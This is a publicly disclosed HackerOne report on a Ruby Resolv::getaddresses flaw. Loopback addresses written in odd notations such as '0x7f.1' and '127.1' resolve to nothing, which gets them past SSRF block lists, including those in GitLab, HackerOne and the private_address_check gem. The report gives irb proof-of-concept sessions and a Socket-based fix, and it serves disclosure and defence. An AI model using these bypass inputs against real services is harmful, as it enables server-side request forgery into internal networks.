HexBrain

Ruby 路 Report #287835

Resolv::getaddresses bug that can be abused to bypass security measures.

Informativestatus
5upvotes
23 Feb 2018disclosed

How it was found

Description

Resolv::getaddresses is OS-dependent, therefore by playing around with different IP formats one can return blank values. This bug can be abused to bypass exclusion lists often used to protect against SSRF.

馃捇 Machine 1馃捇 Machine 2
ruby 2.3.3p222 (2016-11-21) [x86_64-linux-gnu]ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu]

馃捇 Machine 1

irb(main):002:0> Resolv.getaddresses("127.0.0.1")
=> ["127.0.0.1"]
irb(main):003:0> Resolv.getaddresses("localhost")
=> ["127.0.0.1"]
irb(main):004:0> Resolv.getaddresses("127.000.000.1")
=> ["127.0.0.1"]

馃捇 Machine 2

irb(main):008:0> Resolv.getaddresses("127.0.0.1")
=> ["127.0.0.1"]
irb(main):009:0> Resolv.getaddresses("localhost")
=> ["127.0.0.1"]
irb(main):010:0> Resolv.getaddresses("127.000.000.1")
=> []

Proof of concept

irb(main):001:0> require 'resolv'
=> true
irb(main):002:0> uri = "0x7f.1"
=> "0x7f.1"
irb(main):003:0> server_ips = Resolv.getaddresses(uri)
=> [] # The bug!
irb(main):004:0> blocked_ips = ["127.0.0.1", "::1", "0.0.0.0"]
=> ["127.0.0.1", "::1", "0.0.0.0"]
irb(main):005:0> (blocked_ips & server_ips).any?
=> false # Bypass

Mitigation

Currently I have been suggesting that the affected vendors stay away from Resolv::getaddresses altogether and use the Socket class.

irb(main):002:0> Resolv.getaddresses("127.1")
=> []
irb(main):003:0> Socket.getaddrinfo("127.1", nil).sample[3]
=> "127.0.0.1"

Affected vendors and gems

By abusing this bug I was able to bypass GitLab, HackerOne and private_address_check's SSRF filters.

The private_address_check gem, for instance, relied on Resolv::getaddresses in lib/private_address_check.rb:

def resolves_to_private_address?(hostname)
    ips = Resolv.getaddresses(hostname)
    ips.any? do |ip| 
      private_address?(ip)
    end
end
irb(main):001:0> require 'private_address_check'
=> true
irb(main):002:0> PrivateAddressCheck.resolves_to_private_address?("127.1")
=> false # Bypass

The author of this gem has provided a patch for this issue and I can confirm that I am unable to bypass the fix.

GitLab and HackerOne have also been notified and plan on releasing a fix this week.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original